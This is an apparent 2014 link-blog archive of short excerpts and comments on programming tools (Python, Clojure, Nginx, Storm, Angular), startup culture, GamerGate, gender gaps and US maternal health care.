Ellen Cushing at Modern Luxury writes:

While I was reporting my recent cover story on Uber and its CEO Travis Kalanick, several current and former Uber employees warned me that company higher-ups might access my rider logs. Because I couldn’t independently verify these claims without sacrificing my sources’ anonymity, I didn’t include ...

Read More Source

November 18th, 2014

In Technology

No Comments

Why Python is slow

This is a great comparison of C code to Python code. (Actually, this is true of most script languages, not just Python.)

C Addition

Assign 1 to a Assign 2 to b call binary_add(a, b) Assign the result to c

The equivalent code in Python looks like this:

# python code a = 1 b = 2 c = a + b

here the interpreter knows only that 1 and 2 are objects, but not what type of object they are. So the The interpreter must inspect PyObject_HEAD for ...

Read More Source

November 18th, 2014

In Technology

No Comments

Perl is faster than Python

Interesting:

A related question is: why is Perl so fast? Quite a few years ago I wrote a little Runge-Kutta solver in Perl for some simulation work. It seemed like a good idea at the time. The equations of motion had to be integrated over a very long time, and it could take hours for a single run (still much faster than the Monte Carlo it was being used to do a sanity-check on). I re-wrote everything in C++, and picked up ...

Read More Source

November 17th, 2014

In Philosophy

No Comments

Misogyny haikus

Ladyparts. (Actual requests for actresses in Hollywood) Sad and funny and then sad again:

Source

November 16th, 2014

In Business

No Comments

His accumulating motives were rather those of power, of self-expression, of hunting big game

Interesting:

Yet the man who wills property does so without regard to its effect on the social distribution of wealth. In fact even from the private point of view careful thought is seldom bestowed on the solemn responsibility of bequeathing property. The ordinary millionaire capitalist about to leave this world forever cares less about what becomes of the fortune he leaves behind than we have been accustomed to assume. Contrary to a common opinion, he did not lay it up, at ...

Read More Source

November 16th, 2014

In Business

No Comments

The computers of the future, seen from 1964

This is from 1964, though parts of it seem to be talking about the modern era:

Today there are probably more than twenty thousand computers in use within the United States, and correspondingly large numbers are installed in many other countries around the world. Computers run at speeds of up to millions of operations per second, and do so with negligible rates of error. Their linguistic abilities have been broadened impressively through development of elaborate programming systems, and their memories can ...

Read More Source

November 14th, 2014

In Philosophy

No Comments

Modern romance and breakups

I found this funny:

Source

November 14th, 2014

In Philosophy

No Comments

Midwifery is uniquely human — there is no other species where the female needs help giving birth

How much should the government play a role in enforcing license requirements regarding assistance during birth? In every such debate, in the background there is the issue of how much midwifery should professionalize, and also how much the government has any right to insist that this particular activity should be a credentialed one. It is worth remembering that being a midwife might, in fact, be the world’s oldest profession. The Proceedings of the National Academy of Sciences published the article ...

Read More Source

November 14th, 2014

In Technology

No Comments

Setting up Flask to talk to Nginx

The main thing I learned was how to configure the reverse proxy for Nginx:

server { location / { proxy_pass http://127.0.0.1:8000; } location /static { alias /home/www/flask_project/static/; } }

Easy.

The configuration of the static files was also interesting:

So, HTTP requests that hit the / endpoint will be ‘reverse proxied’ to port 8000 on 127.0.0.1 ...

Read More Source

November 14th, 2014

In Technology

No Comments

Do you need to learn how to program a computer?

No. You do not need to learn how to program a computer. The question is stupid. And yet the debate goes on, endlessly. I recall this debate was going strong when I was a child. Here is the New York Times in 1984:

”SHOULD I learn to program?” and ”Do I have to learn to program?” are two variants of the question probably most asked by people testing the waters of computer ownership. The answer usually boils down to an ...

Read More Source

November 14th, 2014

In Technology

No Comments

How difficult is it to work with TCP?

I am thinking of creating a new protocol on top of TCP. I’ve been thinking that, with all the good libraries out there, I would not have to do much work. But then I read this, and it gives me pause: maybe TCP is tougher than I thought:

Zero windows are another frequent source of grief, to such lengths that at multiple mobile operators the technical staff have quizzed us extensively on our use of zero windows. I don’t quite ...

Read More Source

November 14th, 2014

In Philosophy

No Comments

The invisibility of certain kinds of midwives

Brynne Potter reflects on the confluence of race and midwifery:

One of our main talking points was to point to the incredible outcomes of the Registered “Granny” Midwives who had held permits from the VA Dept of Health from 1918 until 2002.

These midwives, whom we know anecdotally were women of color who served communities of color that were denied access to health services prior to the mid-seventies, had no minimum education requirements, had minimal access to diagnostic tools, worked in ...

Read More Source

November 14th, 2014

In Business

No Comments

What should be illegal on the foreign exchange markets?

Interesting:

ON MONDAY: You are on your way to the fruit market, because you want to buy five oranges. Someone you’ve never met before accosts you on your way and says “Hey, you! Could you buy me five oranges please? I’ll give you the money when you come back and pay you ten pence for doing it”. You think what the hell, and say yes. Down at the market, there is one stall which has five oranges for sale at 50p each, ...

Read More Source

November 14th, 2014

In Philosophy

No Comments

A bill which makes it mandatory for candidates to have toilets in their homes

Interesting:

Is banning a person from contesting for public office if he or she does not have a toilet at home a good idea?

India’s western state of Gujarat certainly believes so. Earlier this week, the state’s legislators passed a bill which makes it mandatory for candidates to have toilets in their homes to qualify for contesting elections to local municipalities and village councils. Existing elected members will also have to declare within six months that they have toilets at home, failing ...

Read More Source

November 14th, 2014

In Technology

No Comments

The Rubinius community engages in extraordinary outreach

Interesting:

Here we are, in no particular order:

Sophia Shao: As a recent graduate of Carnegie Mellon University’s Electrical & Computer Engineering department, Sophia is currently tackling a massive application migration from MRI to Rubinius. She’s also been improving Rubinius every day. Hit her up for tips about debugging machine code.

Jesse Cooke: As co-founder of Watsi, a venture to fund healthcare for people around the world, Jesse was part of YCombinator’s first ever non-profit. Jesse has been contributing in any way he ...

Read More Source

November 13th, 2014

In Philosophy

No Comments

Alexander Grothendieck broke from the consensus

Interesting:

“In those critical years I learned how to be alone. [But even] this formulation doesn’t really capture my meaning. I didn’t, in any literal sense learn to be alone, for the simple reason that this knowledge had never been unlearned during my childhood. It is a basic capacity in all of us from the day of our birth. However these three years of work in isolation [1945–1948], when I was thrown onto my own resources, following guidelines which I myself ...

Read More Source

November 12th, 2014

In Technology

No Comments

Martin Odersky on the transition from OOP to Functional programming

I am not wild about Scala, but Martin Odersky is a very smart guy. In this video he offers a fascinating history of OOP, which leads into his point about the transition we now face:

I appreciate Odersky pragmatic approach, he is willing to say that sometimes the mutable approach is somewhat more readable:

Odersky is self-effacing and willing to accept pragmatic definitions of “mutable” and “immutable”. He is not a purist.

I dislike the fact that Scala is so multi-paradigm ...

Read More Source

November 12th, 2014

In Technology

No Comments

Lisp is not functional, but Clojure is

Back in 1958 Lisp invented the idea of an everything-is-mutable language. Therefore, Lisp is not necessarily functional, since a mutable language is typically not functional. (Although it is possible to adopt a functional style in a mutable language, such as Javascript.) A functional language should be one where, given a set of inputs, one always gets the same output, in a deterministic fashion.

Let Over Lambda insists that Lisp is not Functional:

It seems like we use defun to define new ...

Read More Source

November 12th, 2014

In Technology

No Comments

The naming of ducks in Python

This is great:

Source

November 12th, 2014

In Technology

No Comments

The importance of names to signal intent in Python

Interesting:

Source

November 12th, 2014

In Business

No Comments

The decline of Wikipedia

Interesting:

Open collaboration systems like Wikipedia need to maintain a pool of volunteer contributors in order to remain relevant. Wikipedia was created through a tremendous number of contributions by millions of contributors. However, recent research has shown that the number of active contributors in Wikipedia has been declining steadily for years, and suggests that a sharp decline in the retention of newcomers is the cause. This paper presents data that show that several changes the Wikipedia community made to manage ...

Read More Source

November 12th, 2014

In Philosophy

No Comments

There is no time for shame in a recession

An interesting account of this woman’s suffering. Most of the suffering revolves around how the USA health care system is still broken, even under Obamacare:

Last year, during a ten-month period, the following happened in this exact order: I got separated from my husband of two decades, who, having lost his job to the recession, moved across the country to start a business, leaving me as sole provider and parent to our two children still at home; I abandoned the novel ...

Read More Source

November 12th, 2014

In Technology

No Comments

The 11 greatest Python blogs

An interesting overview of the Python blogosphere.

Source

November 12th, 2014

In Technology

No Comments

Structs in Python

Interesting:

A record (aka “struct” in C) is a pre-defined collection of values where each is accessed by a unique name. Depending on the nature of the data, records may be a superior alternative to dictionaries and instances of custom classes.

PyRecord allows you to use records in Python v2.7 to v3.x and PyPy v2, and can be thought of as an improved namedtuple.

In Python terms, a record is an instance of any class for which you define some attributes but no ...

Read More Source

November 12th, 2014

In Philosophy

No Comments

What women in tech say about being in tech

Each paragraph is a different woman talking. Interesting:

Currently very very happy in a great, friendly and supportive environment (being female, a mother, and part-time hasn’t stopped me getting promoted) – so they do exist!

I have a great working environment. […] Interestingly, we do have one engineer in particular who can be loud and overbearing and could, if given enough power, make the environment somewhat hostile – but that’s exactly why no one gives him that power.

I’ve experienced as much discrimination ...

Read More Source

November 12th, 2014

In Philosophy

No Comments

What are the Republicans for?

Funny:

On Slate, commenter Leif Leifnephewson on the likelihood that Sen. James “Hoax” Inhofe is likely to chair the Environment and Public Works Committee:

I think the republican message is a message of hope: even if you don’t understand an issue, you can have deep convictions and take action on it, based on who pays you the most.

Would you like to live in a world where you had to know the rules of baseball to be an umpire? Of course not! It’s ...

Read More Source

November 12th, 2014

In Philosophy

No Comments

Photos of female militias from the Spanish Civil War

Interesting photos:

Source

November 12th, 2014

In Technology

No Comments

Great ideas for zsh config

I got a lot of great ideas for my zsh config by reading this one

Source

November 8th, 2014

In Philosophy

No Comments

There is a 31% gender gap on the issue of marijuana legalization

Very interesting:

While men surveyed strongly favor legalization by a margin of 59 to 36 percent, women oppose it by a clear majority of 52-44 percent.

Also:

PS. There are also some big gender gaps in academics, which are just as perplexing as in drug legalization. For instance, women get higher grades in college, despite getting lower average scores on SATs. This might reflect some sort of difference in cognitive styles. Let me throw out a ...

Read More Source

November 8th, 2014

In Philosophy

No Comments

Do women under-pay themselves at non-profits?

Apparently there is a pay gap among the genders, even at non-profits, and even when the leadership is female:

That women earn less money than men is well known. But research has revealed that even when women start their own not-for-profit “social enterprises” they pay themselves less than their male peers.

The study, comprising 159 social entrepreneurs in the UK, showed an adjusted pay gap between the sexes of about 23 per cent. That is similar to the global difference in ...

Read More Source

November 8th, 2014

In Business

No Comments

Surprisingly awful maternal outcomes in USA healthcare

From Amy Romano. This is shocking stuff:

Almost any way we look at it, maternal and infant health outcomes in the United States are far worse than they should be. Our infant mortality rate is on par with Poland, our maternal death rate just above Iran. We’re one of just eight countries in the world with rising maternal death rates, a distinction we share with Chad and Afghanistan. Our preterm birth rate has nudged down in recent years, but it’s hardly ...

Read More Source

November 8th, 2014

In Business

No Comments

Pregnancy is not a condition to be “managed”

Amy Romano is writing an in-depth series of blog posts on health care in the USA. I wish I was a bit more optimistic about the chance of reform in the USA, but certainly it helps to be aware of the programs that are known to work in various countries. Regarding the Nurse-Family Partnership programs she writes:

These included reconnecting personal health to relationships, and impacting the whole person, not just the “disease.” These are the crux of Nurse-Family Partnership ...

Read More Source

November 8th, 2014

In Business

No Comments

Data integration as the next big thing for startups?

Maternity Neighborhood is attempting to aggregate and unify disparate data sets relating to maternity:

Maybe you are a researcher… We care a lot about you. We know that improved maternity care can only be a reality for everyone when we can have access to quality data. Collection, validation and linking of maternity data sets is what our platform does. We can receive data from multiple sources, included patients, and help standardize and shape the data into something so useful and relevant, ...

Read More Source

November 8th, 2014

In Technology

No Comments

How to design a Clojure/Redis system with Components

This is really interesting:

The idea was to have a single client for the connection to the Twitter Streaming API and the persistence of the received Tweets in ElasticSearch, plus multiple machines to serve WebSocket connections to the client. For the communication between the processes, I picked Redis Pub/Sub because its model of communication appears to suit the requirements really well. As cute as the drawing may be, I prefer code (plus drawing), so I took the previous monolith ...

Read More Source

November 8th, 2014

In Technology

No Comments

Backends for RESTful interfaces versus WebSockets

Interesting:

This next step may or may not live in the same JVM – I haven’t decided yet. So the idea is to aggregate data on the server side and only deliver the aggregated data structures back to the client side. For example, this could be a few hundred aggregates over increments of five minutes each. These increments can easily be made addressable (and cacheable): let’s say it is 1:17pm. Then, we have a last and incomplete increment from 1:15pm ...

Read More Source

November 8th, 2014

In Technology

No Comments

Where Apache Storm fails

Very interesting post:

What comes to mind immediately when regurgitating the requirements above is Storm and the Lambda Architecture. First I thought, great, such a search could be realized as a bolt in Storm. But then I realized, and please correct me if I’m wrong, that topologies are fixed once they are running. This limits the flexibility to add and tear down additional live searches. I am afraid that keeping a few stand-by bolts to assign to queries dynamically would not ...

Read More Source

November 8th, 2014

In Technology

No Comments

How many bindings exist in your Angular app?

This script looks useful:

function getScopes(root) { var scopes = []; function traverse(scope) { scopes.push(scope); if (scope.$$nextSibling) traverse(scope.$$nextSibling); if (scope.$$childHead) traverse(scope.$$childHead); } traverse(root); ...

Read More Source

November 8th, 2014

In Technology

No Comments

All that is terrible in AngularJS

Interesting:

The scope of a variable is the part of the program where the variable can be legally referenced. If your system has variables, it has some concept of scoping.

Angular has a DSL that is entangled with the HTML and used primarily to express the data-bindings between the UI and application code. This has variables, and thus a concept of scopes. Let’s take a look at it. Consider for example ng-model:

<input type=”text” ng-model=”obj.prop” />

This creates a two way binding on ...

Read More Source

November 7th, 2014

In Technology

No Comments

Using zsh as my shell

I’ve been using bash for about 14 years, first on Linux, and the later on Mac OSX. I have heard good things about zsh. The idea of seeing my git branch listed in my terminal, at all times, will save me from many mistakes (I have often committed code on the wrong branch). This article finally convinced me to switch to zsh on my Mac:

z No this is not a typo, the last thing I want to show you is z. ...

Read More Source

November 7th, 2014

In Business

No Comments

Is Janet Yellen losing sleep over what people are paying for Picassos?

This is funny:

But, of course, like any conspiracy theory, it all starts off sounding plausible enough. First, they say the government understates inflation when it adjusts for the quality of goods and how people substitute for similar but cheaper ones. The only problem is that independent measures, like MIT’s Billion Prices Project, have shown inflation is pretty much what the government says it is (although there’s been a very slight difference the past few months). Then they point out that ...

Read More Source

November 7th, 2014

In Business

No Comments

Jay Kreps is leaving LinkedIn to start his own company focused on Kafka

I wonder if this should be considered a risk of allowing an employee to develop a crucial bit of technology as an open-source project?

I joined LinkedIn about seven years ago. At the time I joined, the company was just starting to run into scaling problems in its core database, its social graph system, its search engine, and its data warehouse. Each of the systems that stored data couldn’t keep pace with the growing user base. At the time, each of ...

Read More Source

November 7th, 2014

In Technology

No Comments

Logcheck keeps track of your logs, emails you when things get suspicious

I only just discovered logcheck, but now I want to use it on all of my servers:

How Logcheck Protects Your Server It turns out that Logcheck is a pretty simple tool. All it does is periodically check the log files you specify. It filters out the uninteresting parts and emails you what is left. It is smart enough to avoid mailing you the same information multiple times by keeping a “bookmark” for each log file. This way it can only ...

Read More Source

November 7th, 2014

In Business

No Comments

Reuters ends user comments on news stories

This is well said (these are also the same reason that there are no comments on this blog):

During the past few years, much has changed about how readers interact with news. They find coverage in diverse places and in new ways. They watch video, use graphics and calculators and relate to content far differently than in the past.

Considering these dynamics, Reuters.com is ending user comments on news stories. Much of the well-informed and articulate discussion around news, as well ...

Read More Source

November 5th, 2014

In Business

No Comments

Poland is the only true post-Communist success story

I went to Poland in 2012 and I was dazzled by the affluence, which was much greater than what I expected from a post-Communist country. I then began to study the situation, and it became obvious to me that Poland’s success was exceptional (it has been the fastest growing nation in Europe for most of the last 10 years). I also failed to appreciate the extent of the disaster that has befallen most post-Communist nations. Most of them still have ...

Read More Source

November 3rd, 2014

In Philosophy

No Comments

Fashion and science have a similar history

Fashion and science both emerge in Europe during the 1500s, both are activities driven by small elites who often need the support of the masses, while needing to maintain their independence from the masses, and both are guided primarily by a process of peer review, while lacking a strict definition of “peer”, and while acknowledging that eligibility for a peer role is constantly changing. Both fashion and science involve following a conversation that is happening is many nations at once, ...

Read More Source

November 3rd, 2014

In Technology

No Comments

Network versus CPU bandwidth in a Storm topology

Scroll half-way down through this conversation among Storm committers, and you learn interesting things about the trade-offs between CPU and network bandwidth:

@Gvain,

There are two parts in your question, In your test, why throughput drops when worker number increase after reaching a value(8 in your test case)?

For this one, it is because your CPU reach limit for worker# = 8 (CPU usage: 89%), In this case, adding more workers will just adding more threads and context switch, hurting performance. While for ...

Read More Source

November 2nd, 2014

In Technology

No Comments

Why not use asserts in Python?

I use asserts a great deal in Clojure. They partly take the place of unit tests. Apparently they are mostly unused in the world of Python, although some of the reasons listed here would be general to any language:

Several reasons come to mind…

It is not a primary function

Many programmers, lets not get bogged down by the rationale, disrespect anything which is not a direct participant in the program’s penultimate functionality. The assert statement is intended for debugging and testing, ...

Read More Source

November 1st, 2014

In Technology

No Comments

The surprisingly difficult task of data importing

The level of difficulty is a surprise to me:

Second, it was clear that reliable data loads would require deep support from the data pipeline. If we captured all the structure we needed, we could make Hadoop data loads fully automatic, so that no manual effort was expanded adding new data sources or handling schema changes—data would just magically appear in HDFS and Hive tables would automatically be generated for new data sources with the appropriate columns.

Third, we still had ...

Read More Source

November 1st, 2014

In Technology

No Comments

What Apache Storm demands from you

I’ve been trying to figure out how much I need to do manually when working with Apache Storm. This part seems important:

What is Storm’s reliability API?

There’s two things you have to do as a user to benefit from Storm’s reliability capabilities. First, you need to tell Storm whenever you’re creating a new link in the tree of tuples. Second, you need to tell Storm when you have finished processing an individual tuple. By doing both these things, Storm can detect ...

Read More Source

October 30th, 2014

In Technology

No Comments

Why not use fun notation?

Luciano Ramalho gets some laughs when he introduces cartoon characters as a form of notation to describe what his code is doing:

But why not use this notation for real? He makes the point that his notation is more clear than UML.

When I was a kid I hated math. As I got older I realized I loved logic, and this made me a good computer programmer. When I look back, I realize that as a kid I hated math ...

Read More Source

October 30th, 2014

In Technology

No Comments

Single dispatch in Python

Andrew Montalenti describes the almost-multimethods that Python got in 3.4:

from functools import singledispatch

   @singledispatch    def handle(obj):      pass

   @handle.register(A)    def handle_A(obj):      pass

   @handle.register(B)    def handle_B(obj):      pass

   def main(obj):      # obj could be ...

Read More Source

October 28th, 2014

In Technology

No Comments

Sandboxing in Python

After many years programming in Ruby, PHP, Clojure, etc, I am only now getting into Python. One thing that strikes me is the extent to which each eco-system emphasizes different things. In theory, all of these languages are Turing-complete, and so you could do anything in any of these languages, but the reality is different: each community regards some issues as important, and other issues as not important, and so you end with tooling for different tasks, in each of ...

Read More Source

October 27th, 2014

In Technology

No Comments

How to track garbage collection on the JVM

I had a Clojure app with painfully long pauses. I thought maybe they were GC pauses, except they are too long. This is a good tip:

You can use

jstat -gcutil 2000

to print the GC statistics every 2 seconds, http://docs.oracle.com/javase/1.5.0/docs/tooldocs/share/jstat.html

It the long pause is from GC, the columns FGCT/FGC values would be large.

If you think it’s a swap issue, you may want to use

vmstat 1 10000

watch out the si/so columns.

Source

October 27th, 2014

In Business

No Comments

A very open company

This is impressive. Parsely claims that it wants to do all development in the open. They are donating a lot of their technology to open source, and they are being open about their process. How open are there? How about this, the CTO and a lead engineer have a conversation in public about the quality of the work:

This doesn’t look quite ready for prime time. Though “storm submit” works, it fails to produce a working topology on my locally-installed ...

Read More Source

October 27th, 2014

In Technology

No Comments

When is visionary-driven development good?

Interesting:

By controlling every detail of the project, I could ensure the project remained at a very high quality. Since I knew the project from top to bottom, I could anticipate all the ways any given change would affect the project as a whole. And since I had a vision of where the project should go, I could prevent any changes from going in that conflicted with that vision (or modify them to be consistent). I could ensure the project always ...

Read More Source

October 25th, 2014

In Business

No Comments

A new low for tech bro PR?

Surprising and sad:

The San Francisco Chronicle’s Kristen V. Brown recounts the incident:

A few weeks ago, a startup founder showed up in the lobby of The Chronicle after hours. He told me I hadn’t responded to his e-mails. And he wanted to get my attention.

He delivered his pitch, along with a wicker basket filled with sexually suggestive gifts: the sex toy, a tube of K-Y Jelly, raw oysters and Tequila.

This is standard fare for lame pick-up artists: take a girl ...

Read More Source

October 25th, 2014

In Philosophy

No Comments

The multiplicity of truth during the era of the Internet

Andrew Montalenti seems to think that truth is possible in the era of the Internet:

I believe that in the Internet Era, we don’t have a weakened notion of truth, but we just have a messier view of how the sausage is actually made. We have public debate leading to consensus on some issues, and more contention on others. When the debate doesn’t end in a way that is satisfactory for a big enough group of passionate people, they may ...

Read More Source

October 25th, 2014

In Philosophy

No Comments

Talking about GamerGate leads to harrassment

The tactics used by the GamerGate crowd are worrisome and effective:

That Day’s fears were so swiftly proven right is the most obvious story here, and the headline writes itself: “Felicia Day Says She’s Afraid of Gamergate, Immediately Gets Doxxed.” But the fears themselves are noteworthy for reasons other than the dispiriting, seemingly inevitable attack that came in the wake of their expression.

Day’s post left me feeling incredibly sad. It resonated with me on a couple of different levels: That ...

Read More Source

October 23rd, 2014

In Philosophy

No Comments

The end of consensus

Clay Shirky, who is always good, writes about the end of consensus:

The post-fact literature is built in part on nostalgia for the world before people like Bigfoot showed up in the public sphere, for the days when Newsweek reflected moderately liberal consensus without also providing a platform for orthographically-challenged wingnuts to rant about the President. People who want those days back tell themselves (and anyone else who will listen) that they don’t want to impose their views on anybody. They ...

Read More Source

October 23rd, 2014

In Technology

No Comments

Does Python need strict data-type enforcement?

Andrew Montalenti has a long post voicing his view of data-type enforcement in Python. He seems to lean against strictness (I will quote him at length below). I am mostly ignorant about Python and I would not want to match my knowledge of Python against his, but I have seen this debate occur in other languages, so I’m going to write about my own experience adding types to dynamic languages.

For the last 2 years I’ve been working with Clojure, ...

Read More Source

October 23rd, 2014

In Technology

No Comments

The end of system admins

Once upon a time, not that long ago, there was a clear division between “programmers” and “sysadmins”. Programmers wrote software and sysadmins made sure all the machines were running. But, as Marc Andreessen said, “software is eating the world.” Sysadmin work has become increasingly automated, and therefore sysadmins (at least the good ones) are increasingly forced to become programmers (or they become irrelevant). The job designation “devops” was invented to refer to the new kind of sysadmin, who has to ...

Read More Source

October 22nd, 2014

In Business

No Comments

Will GamerGate win?

Max Read has a good post: “How We Got Rolled by the Dishonest Fascists of Gamergate“:

On October 1, the computing giant Intel pulled its ads from Gamasutra, a trade website for game developers, over an essay called “‘Gamers’ don’t have to be your audience. ‘Gamers’ are over” by a journalist named Leigh Alexander. Intel had been successfully harassed by a small, contemptible crusade called “Gamergate”—a campaign of dedicated anti-feminist internet trolls using an ill-informed mob of alienated and resentful video ...

Read More Source

October 22nd, 2014

In Philosophy

No Comments

Gombe Chimpanzee War

Interesting:

The Gombe Chimpanzee War (also known as the “Four-Year War” of Gombe), lasting from 1974 to 1978, was a violent conflict between two communities of chimpanzees in Gombe Stream National Park, in Tanzania. The belligerent groups were the Kasakela and the Kahama, which occupied territories in the northern and southern areas of the park, respectively. The two had previously been a single, unified community, but by 1974 researcher Jane Goodall, who had been observing the community, first noticed the chimps ...

Read More Source

October 22nd, 2014

In Technology

No Comments

Best practices are sometimes the worst practices

A detailed look at Java memory management in Minecraft 1.8 blames the performance problems on so called “best practices”:

Minecraft 1.8 has so many performance problems that I just don’t know where to start with.

Maybe the biggest and the ugliest problem is the memory allocation. Currently the game allocates (and throws away immediately) 50 MB/sec when standing still and up to 200 MB/sec when moving. That is just crazy.

What happens when the game allocates 200 MB memory every second ...

Read More Source

October 22nd, 2014

In Philosophy

No Comments

The Great Stagnation really started in 1970

The stagnation in the number of new scientists is an obvious prelude to the onset of the Great Stagnation:

Although hardly anyone noticed the change at the time, it is difficult to imagine a more dramatic contrast than the decades just before 1970, and the decades since then. Those were the years in which science underwent an irreversible transformation into an entirely new regime. Let’s look back at what has happened in those years in light of this historic transition.

The ...

Read More Source

October 22nd, 2014

In Technology

No Comments

The difference between brains and computers

Interesting:

Michael Jordan: I wouldn’t want to put labels on people and say that all computer scientists work one way, or all neuroscientists work another way. But it’s true that with neuroscience, it’s going to require decades or even hundreds of years to understand the deep principles. There is progress at the very lowest levels of neuroscience. But for issues of higher cognition—how we perceive, how we remember, how we act—we have no idea how neurons are storing information, how they ...

Read More Source

October 22nd, 2014

In Business

No Comments

The worst startup ever?

Homophobia, racism, classism, credential boasting, here is a startup that combines all the worst stereotypes about startups:

Ajay flashed a grin and we shook hands and sat down. He asked me to describe myself and I gave him a practiced elevator pitch of my background and experience. He nodded and quickly took over the conversation.

“So, as you might already know, I started this company while I was getting my MBA at Harvard. Before this, I worked for McKinsey & Company…” ...

Read More Source

October 22nd, 2014

In Philosophy

No Comments

GamerGate dudes are very, very nasty people

This comment gets at an important part of this story:

I don’t think even Orwell predicted the Newspeak-y confusion over censorship that has become so ubiquitous — “my freedom of speech is infringed upon unless people with views I dislike are made to remain silent; it is censorship when others express certain views”.

But of course, threats of physical violence are an attempt at censorship — that is the whole point of the threat, to get someone to shut up.

The people ...

Read More Source

October 19th, 2014

In Technology

No Comments

Archis’s blog on the need for compromise in engineering designs

I like this very much:

Why do I equate it with religion? Because religion allows you to do anything, and always be right. Need to feed the hungry? Sure. Need to NOT feed the hungry? Sure. Support gays? Sure. Not support gays? Sure. Invade Jerusalem? Sure. Defend against invaders? Sure. Forgive people? Sure. Not forgive people? Sure.

This has always been my observation with “frameworks”, “patterns”, “best practices” and especially, “testing”. You can write a few hundred tests that do nothing, ...

Read More Source

October 19th, 2014

In Philosophy

No Comments

The emotional need to troll

Back in the 1990s I was sick, and for emotional support, I hung out in a chat room that was full of people who shared my illness. And occasionally trolls would come by. They would say stuff like “I hope you all die horrible, painful deaths” and also “None of you are really sick, its just all in your head.” I wondered what sort of person got enjoyment from tormenting sick people? I am still curious about that.

This is ...

Read More Source

October 19th, 2014

In Technology

No Comments

How much of a speed boost can we get from new programming languages?

“K” is an interesting experiment of minimalism and speed.

Kdb+ is a testament to the rewards available from finding the right abstractions. K programs routinely outperform hand-coded C. This is of course, impossible, as The Hitchhiker’s Guide to the Galaxy likes to say. K programs are interpreted into C. For every K program there is a C program with exactly the same performance. So how do K programs beat hand-coded C? As Whitney explained at the Royal Society in 2004, ...

Read More Source

October 19th, 2014

In Business

No Comments

The tech industry is shifting away from nice guys

Interesting:

Here’s the problem. Every venture capitalist, in every interview they’ve ever done will tell you the same casual lie: That they invest in people first and ideas second. They’ll tell you they invest only in people they’d want to work with. They’ll tell you that they have the luxury to say no to companies that don’t do things in line with the way they like to work, the way they like to treat people.

You don’t have to look too far ...

Read More Source

October 19th, 2014

In Technology

No Comments

The need for empiricism in computer programming

Since computer programming is based on math, you would think that one could conceptualize a program just as one might conceptualize a math proof, working out everything in advance. But in fact, trial and error are necessary:

Any experienced engineer who tackles even a moderately complex coding problem and decides beforehand to think through that problem with a machine checked specification (say with Lamports TLA) will very likely discover that

1. His first 4, 5 attempts at the specification are not ...

Read More Source

October 19th, 2014

In Technology

No Comments

Maximum Sim City

Someone worked hard to figure out the best algorithm for Sim City

Source

October 19th, 2014

In Philosophy

No Comments

Urban raccoons are smarter than rural raccoons

City raccoons are smart. I wonder if something similar happens to humans? Does this explain why technological advance sped up after the first cities were formed?

Unlike many animals, raccoons “flourished rather than receded in the face of human expansion,” Pettit points out in an article for the American Psychological Association.1 Part of the reason for their success may be that the urban environment has contributed to their intelligence. In humans, the effect is well known. Educational psychologist Walkiria Fontes has ...

Read More Source

October 19th, 2014

In Philosophy

No Comments

How do we know what correct English sounds like?

A person might say:

“Nobody ever goes to that restaurant any more.”

but not:

“Everyone never goes to that restaurant any more.”

How is a foreigner, new to the language, suppose to know which is correct? How is that I know which is correct?

I dated a woman from another country. She had trouble knowing when to use “the”. For me, this comes naturally. I know it is incorrect to say:

“I posted a tweet on the Twitter.”

And yet I know that “the” is ...

Read More Source

October 18th, 2014

In Technology

No Comments

Docker is like MemCache, if you need it, then you need another programming language

Maybe this should suggest another route altogether?

Managing Cabal dependency hell. Most of our application development is in Haskell, and we’ve found we prefer specifying a Docker image than working with Cabal sandboxes. This is equally a gain on other programming platforms. You can replace virtualenv for Python and rvm for Ruby with Docker containers.

I agree that the use of Docker is being driven by the use of languages like Python and Ruby, but maybe the existence of Docker suggests ...

Read More Source

October 18th, 2014

In Business

No Comments

Should the law accept apologies?

Interesting:

Between 90 and 95 per cent of all criminal convictions in the US result from guilty pleas rather than jury trials. In many if not all of the millions of cases in the US criminal justice system, courts determine punishments in part based on their sense of whether the offender is remorseful or not. We might wince at the idea of secular states engaging in the ‘soul crafting’ of the original penitentiaries, but we still expect state agents to divine ...

Read More Source

October 18th, 2014

In Business

No Comments

The dream job at the dying company?

A recruiter contacted me about working at Living Social, and it sounded great. But now I read that it is imploding:

This probably would have been a better move before the entire company started to implode, but I’m no businessman: LivingSocial CEO Tim O’Shaughnessy is quitting his dying company.

Source

October 18th, 2014

In Business

No Comments

Can you run a business and do a reality show?

I’ve often thought it would be fun to be in a documentary about what I do (and the guys at 37 Signals are doing this now with their own business) but I’m puzzled how one can do an unrelated show while still staying dedicated to one’s day job:

Jennifer “Jenny” Terrell is set to star in “Private Lives of Nashville Wives,” basically “The Real Housewives of Atlanta,” only on a worse network (TNT) and with a worse destiny (swift cancellation). ...

Read More Source

October 18th, 2014

In Philosophy

No Comments

Electronically-dissociated antisocial personality disorder

Very true:

To me, what’s really interesting — and depressing — about the article is not just how easy it is for a mob to get whipped up by a dedicated troll, but by the (alleged) identity behind the trolling.

We’re used to thinking of trolls as teenaged or twentysomething male denziens of 4chan, reddit or Anonymous’ IRCs, and yet this article suggests that behind a troll who (again, allegedly) whipped up a hate-mob against a 14-year-old girl could lie a seemingly ...

Read More Source

October 18th, 2014

In Business

No Comments

Is there any consequence to being wrong?

If your job is to make predictions about the future, and all of your predictions are wrong, then you should lose your job. But if you are a defense attorney, and you know your client is guilty, you still have a moral obligation to mount the most rigorous defense possible. Into which of these 2 categories do professional economists belong? Clearly, there is no agreement. Some think they are struggling to discover the truth. Others feel they have been hired ...

Read More Source

October 18th, 2014

In Business

No Comments

This is what misogyny looks like

Eron Gjoni is shockingly irresponsible. He wrote falsehoods that effected the lives of several women, including the journalists trying to cover the story, but he says he has no regrets, and he would do it all again. What a psychopath.

Although violent animosity against women in video games is not even close to a new phenomenon, it didn’t congeal into Gamergate, a coordinated movement with mainstream press attention, until Eron Gjoni, the ex-boyfriend of game developer Zoë Quinn, released a ...

Read More Source

October 18th, 2014

In Business

No Comments

Stealing funds from investors and spending it on a party

Interesting.

Former Motionloft CEO Jonathan Mills has pled guilty to two counts of wire fraud. The San Francisco entrepreneur, who raised funding from Mark Cuban, was arrested by the FBI in February. He admitted to spending “substantial amounts” of his victims’ money on “vacations and other entertainment,” like that time he hired Grammy-award winner Miguel (above) for a private show and numerous trips to Vegas.

This Might Be the Most Hated Man in Silicon Valley

You can get away with a lot ...

Read More Source

October 18th, 2014

In Philosophy

No Comments

Spoiled versus invincible youth

Funny:

Two bright young women dominated headlines late last week. On the same day that Malala Yousafzai, 17, won the 2014 Nobel Peace Prize, Bristol Palin, 23, was cited in an Alaska police report for getting drunk at a party and punching her host “multiple times.”

